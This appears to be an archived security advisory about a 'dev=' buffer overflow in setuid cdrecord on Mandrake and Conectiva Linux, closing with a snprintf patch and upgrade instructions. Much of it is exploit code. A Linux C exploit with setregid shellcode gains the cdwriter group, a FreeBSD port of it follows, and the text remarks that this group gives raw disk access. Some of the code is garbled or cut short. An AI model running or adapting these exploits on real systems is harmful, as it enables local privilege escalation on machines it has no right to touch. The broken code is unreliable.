Mandrake 6.1, 7.0, Conectiva Linux 5.0


    'noir' found following.  You may say gid=80 (cdwriter) is  useless
    but anyways here is the exploit:

    /*  /usr/bin/cdrecord exploit by noir
     *  x86/Linux
     * |
     *  dev= param overflow
     *  this script will get you gid = 80 group cdwriter
     *  tested on Mandrake 7.0 (Air)
     *  greetz: dustdevil, Cronos, moog, still, BlaCK #olympos

    #include <stdio.h>
    #include <string.h>

    #define NOP             0x90
    #define RET     0xbffffe66 //play with argv[1] +10, -10 if default is not ok
    main(int argc, char *argv[])

            unsigned char shell[] =
            "\x31\xc0\xb0\x50\x89\xc3\x89\xc1\xb0\x47\xcd\x80"  /*setregid(80, 80) */

            char egg[400];
        char buf[80];
            int i, a;
            long ret = RET;

            ret = ret - atoi(argv[1]);

            memset(egg, NOP, 400);

            for(i = 0  ; i < 80 ; i+=4)
                    *(long *) &buf[i] = ret;

            for( i = 300, a = 0; a < strlen(shell) ; i++, a++ )
        egg[i] = shell[a];

            buf[72] = 0x00;
            egg[399] = 0x00;
            printf("eip: 0x%x\n", ret);

            setenv("EGG", egg, 1);
            execl("/usr/bin/cdrecord", "cdrecord","dev=", buf, "/etc/passwd", 0);


    If you've got  cdwriter access, and  they have a  SCSI hard drive,
    then you should theoretically have read/write access to their  raw
    partitions (no need to go into depth on what that should mean).

    Below is port for FreeBSD, but  it will work only if your  FreeBSD
    has cdrecord suid which is not default:

    /* freebsd cdrecord exploit port by sectorx of XOR
    ( */

    #include <stdio.h>
    #include <stdlib.h>

    #define LENGTH 76
    #define EGGIE 500

    long esp() { __asm__("movl %esp, %eax"); }
    char devilspawn[];

    int main(int argc, char *argv[])
       long addr;
       char buf[LENGTH];
       char egg[EGGIE];
       int i,offset;

       printf("cdrecord exploit by sectorx (FreeBSD)\n");
       if (argc < 2) {
          printf("error: offset must be supplied as a
          printf("*note* FreeBSD 3.3-RELEASE\'s offset is
       offset = atoi(argv[1]);
       addr = esp()+offset;
       printf("Using offset 0x%x [%d], eip =
       /* build the overflow string */
       for (i=0;i<LENGTH;i+=4) *(long*)&buf[i] = addr;
       buf[LENGTH-1] = '\0';
       /* build the egg string */

       egg[EGGIE-1] = '\0';


    /* FreeBSD shellcode by mudge of L0pht */
    char devilspawn[]=


    The person  who originally  reported this  is only  using "medium"
    security level.  Under Linux-Mandrake, security level 4/5 involves
    a filesystem  scan and  possibly chmod,  independent of individual
    programs in most cases.  However, on seclev. 3/4/5, it works  just
    FINE ! gid=80 so security level is not relevant.

    --- cdrecord-1.8.1.orig/cdrecord/defaults.c	Sun Apr 16 02:08:58 2000
    +++ cdrecord-1.8.1/cdrecord/defaults.c	Tue May 30 13:30:45 2000
    @@ -109,7 +109,7 @@
     -	sprintf(dname, "%s=", p);
     +	snprintf(dname, sizeof(dname), "%s=", p);

    Please upgrade to:

        package: 7.0/RPMS/cdrecord-1.8.1-4mdk.i586.rpm
        package: 7.0/RPMS/cdrecord-cdda2wav-1.8.1-4mdk.i586.rpm
        package: 7.0/RPMS/cdrecord-devel-1.8.1-4mdk.i586.rpm
        package: 7.0/RPMS/mkisofs-1.12.1-4mdk.i586.rpm
        source package: 7.0/SRPMS/cdrecord-1.8.1-4mdk.src.rpm

    To  upgrade  automatically,  use  MandrakeUpdate.   If you want to
    upgrade manually,  download the  updated package  from one  of FTP
    server  mirrors  and  uprade  with  "rpm  -Uvh package_name".  All
    mirrors are listed on

    Direct download links to updated Directiva Linuxpackages:

    For Linux-Mandrake: